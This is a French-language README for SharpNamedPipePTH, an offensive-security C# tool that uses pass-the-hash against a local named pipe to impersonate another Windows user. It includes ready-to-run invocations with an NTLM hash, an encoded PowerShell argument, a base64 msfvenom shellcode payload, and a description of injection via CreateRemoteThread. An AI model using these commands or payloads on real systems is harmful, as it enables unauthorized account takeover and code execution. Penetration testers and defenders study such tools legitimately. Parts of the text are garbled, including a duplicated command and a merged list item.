
Passer le hash à un tube nommé pour l'usurpation de jeton
Ce projet est un outil C# permettant d'utiliser Pass-the-Hash pour l'authentification sur un tube nommé (Named Pipe) local en vue d'une usurpation d'identité (Impersonation). Vous devez disposer de droits d'administrateur local ou de SEImpersonate pour l'utiliser. Un article de blog explique le fonctionnement :
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
Il est fortement basé sur le code du projet Sharp-SMBExec.
J'ai déjà été confronté à certaines situations de projets Offensive Security où je possédais le NTLM-Hash d'un compte utilisateur faiblement privilégié et avais besoin d'un shell pour cet utilisateur sur le système compromis actuel – mais cela n'était pas possible avec les outils publics disponibles. Imaginez deux faits supplémentaires dans une telle situation : le NTLM Hash ne pouvait pas être craqué et il n'existait aucun processus de l'utilisateur victime dans lequel injecter du shellcode ou migrer. Cela peut sembler un cas limite absurde pour certains d'entre vous. Pourtant, j'ai vécu cela à plusieurs reprises. Pas seulement lors d'une mission, j'ai passé beaucoup de temps à chercher le bon outil/la bonne technique dans cette situation spécifique.
Mes objectifs personnels pour un outil/une technique étaient :
faiblement privilégiés – selon les objectifs de la mission, il peut être nécessaire d'accéder à un système avec un utilisateur spécifique comme le PDG, des comptes RH, des administrateurs SAP ou autresMalheureusement, l'utilisateur usurpé n'a aucune authentification réseau autorisée, car le nouveau processus utilise un jeton d'usurpation (Impersonation Token) qui est restreint. Vous ne pouvez donc utiliser cette technique que pour des actions locales avec un autre utilisateur.
Il existe deux façons d'utiliser SharpNamedPipePTH. Soit vous exécutez un binaire (avec ou sans arguments) :
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
Soit vous exécutez du shellcode en tant qu'autre utilisateur :
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
Ce qui correspond à msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.
Je ne suis pas encore satisfait de l'exécution de shellcode, car pour l'instant elle lance notepad en tant qu'utilisateur usurpé et injecte le shellcode dans ce nouveau processus via D/Invoke CreateRemoteThread Syscall. Je cherche encore la possibilité de lancer un processus en arrière-plan ou d'exécuter du shellcode sans avoir de processus de l'utilisateur cible pour l'allocation mémoire.